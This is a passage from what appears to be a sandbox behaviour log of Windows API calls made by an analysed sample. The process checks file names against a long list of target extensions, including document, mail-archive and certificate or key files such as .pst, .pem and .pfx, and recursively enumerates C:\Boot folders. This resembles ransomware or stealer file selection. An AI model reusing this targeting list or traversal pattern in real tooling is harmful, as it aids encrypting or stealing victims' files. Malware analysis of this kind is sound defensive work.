lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0052.946] lstrlenW (lpString=".odc") returned 4 [0052.946] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0052.946] lstrlenW (lpString=".odm") returned 4 [0052.946] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0052.946] lstrlenW (lpString=".odp") returned 4 [0052.946] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0052.947] lstrlenW (lpString=".ods") returned 4 [0052.947] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0052.947] lstrlenW (lpString=".oft") returned 4 [0052.947] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0052.947] lstrlenW (lpString=".one") returned 4 [0052.947] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0052.947] lstrlenW (lpString=".onepkg") returned 7 [0052.947] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0052.947] lstrlenW (lpString=".onetoc2") returned 8 [0052.947] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0052.947] lstrlenW (lpString=".opt") returned 4 [0052.947] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0052.947] lstrlenW (lpString=".oqy") returned 4 [0052.947] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0052.947] lstrlenW (lpString=".orf") returned 4 [0052.947] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0052.947] lstrlenW (lpString=".p12") returned 4 [0052.947] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0052.947] lstrlenW (lpString=".p7b") returned 4 [0052.947] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0052.947] lstrlenW (lpString=".p7c") returned 4 [0052.947] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0052.947] lstrlenW (lpString=".pam") returned 4 [0052.947] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0052.947] lstrlenW (lpString=".pbm") returned 4 [0052.947] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0052.947] lstrlenW (lpString=".pct") returned 4 [0052.947] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0052.947] lstrlenW (lpString=".pcx") returned 4 [0052.947] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0052.947] lstrlenW (lpString=".pdd") returned 4 [0052.947] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0052.948] lstrlenW (lpString=".pdf") returned 4 [0052.948] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0052.948] lstrlenW (lpString=".pdp") returned 4 [0052.948] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0052.948] lstrlenW (lpString=".pef") returned 4 [0052.948] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0052.948] lstrlenW (lpString=".pem") returned 4 [0052.948] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0052.948] lstrlenW (lpString=".pff") returned 4 [0052.948] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0052.948] lstrlenW (lpString=".pfm") returned 4 [0052.948] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0052.948] lstrlenW (lpString=".pfx") returned 4 [0052.948] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0052.948] lstrlenW (lpString=".pgm") returned 4 [0052.948] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0052.948] lstrlenW (lpString=".php") returned 4 [0052.948] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0052.948] lstrlenW (lpString=".php3") returned 5 [0052.948] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0052.948] lstrlenW (lpString=".php4") returned 5 [0052.948] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0052.948] lstrlenW (lpString=".php5") returned 5 [0052.948] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0052.948] lstrlenW (lpString=".phtml") returned 6 [0052.948] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0052.948] lstrlenW (lpString=".pict") returned 5 [0052.948] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0052.948] lstrlenW (lpString=".pl") returned 3 [0052.948] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0052.948] lstrlenW (lpString=".pls") returned 4 [0052.948] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0052.949] lstrlenW (lpString=".pm") returned 3 [0052.949] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0052.949] lstrlenW (lpString=".png") returned 4 [0052.949] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0052.949] lstrlenW (lpString=".pnm") returned 4 [0052.949] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0052.949] lstrlenW (lpString=".pot") returned 4 [0052.949] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0052.949] lstrlenW (lpString=".potm") returned 5 [0052.949] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0052.949] lstrlenW (lpString=".potx") returned 5 [0052.949] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0052.949] lstrlenW (lpString=".ppa") returned 4 [0052.949] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0052.949] lstrlenW (lpString=".ppam") returned 5 [0052.949] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0052.949] lstrlenW (lpString=".ppm") returned 4 [0052.949] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0052.949] lstrlenW (lpString=".pps") returned 4 [0052.949] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0052.949] lstrlenW (lpString=".ppsm") returned 5 [0052.949] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0052.949] lstrlenW (lpString=".ppt") returned 4 [0052.949] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0052.949] lstrlenW (lpString=".pptm") returned 5 [0052.949] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0052.949] lstrlenW (lpString=".pptx") returned 5 [0052.949] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0052.949] lstrlenW (lpString=".prn") returned 4 [0052.949] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0052.949] lstrlenW (lpString=".ps") returned 3 [0052.949] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0052.950] lstrlenW (lpString=".psb") returned 4 [0052.950] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0052.950] lstrlenW (lpString=".psd") returned 4 [0052.950] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0052.950] lstrlenW (lpString=".pst") returned 4 [0052.950] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0052.950] lstrlenW (lpString=".ptx") returned 4 [0052.950] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0052.950] lstrlenW (lpString=".pub") returned 4 [0052.950] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0052.950] lstrlenW (lpString=".pwm") returned 4 [0052.950] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0052.950] lstrlenW (lpString=".pxr") returned 4 [0052.950] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0052.950] lstrlenW (lpString=".py") returned 3 [0052.950] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0052.950] lstrlenW (lpString=".qt") returned 3 [0052.950] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0052.950] lstrlenW (lpString=".r3d") returned 4 [0052.950] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0052.950] lstrlenW (lpString=".raf") returned 4 [0052.950] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0052.950] lstrlenW (lpString=".rar") returned 4 [0052.950] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0052.950] lstrlenW (lpString=".raw") returned 4 [0052.950] lstrcmpiW (lpString1=".raw", lpString2=".mui") returned 1 [0052.950] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0052.950] FindClose (in: hFindFile=0x4260300 | out: hFindFile=0x4260300) returned 1 [0052.951] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0052.951] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0052.951] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xef703e94, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0052.951] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0052.951] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0052.951] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42607c0 [0052.951] FindNextFileW (in: hFindFile=0x42607c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.951] FindNextFileW (in: hFindFile=0x42607c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.951] FindNextFileW (in: hFindFile=0x42607c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.951] FindNextFileW (in: hFindFile=0x42607c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.951] FindClose (in: hFindFile=0x42607c0 | out: hFindFile=0x42607c0) returned 1 [0052.951] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0052.951] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="da-DK", cAlternateFileName="")) returned 1 [0052.952] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42603c0 [0052.952] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.952] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.952] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.952] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.952] FindClose (in: hFindFile=0x42603c0 | out: hFindFile=0x42603c0) returned 1 [0052.952] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0052.952] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="de-DE", cAlternateFileName="")) returned 1 [0052.952] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260200 [0052.952] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.952] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48079da, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.952] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.952] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.952] FindClose (in: hFindFile=0x4260200 | out: hFindFile=0x4260200) returned 1 [0052.952] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0052.953] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="el-GR", cAlternateFileName="")) returned 1 [0052.953] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260680 [0052.953] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.953] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.953] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.953] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.953] FindClose (in: hFindFile=0x4260680 | out: hFindFile=0x4260680) returned 1 [0052.953] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0052.953] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-GB", cAlternateFileName="")) returned 1 [0052.953] FindFirstFileW (in: lpFileName="C:\\Boot\\en-GB\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42602c0 [0052.953] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.953] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.953] FindNextFileW 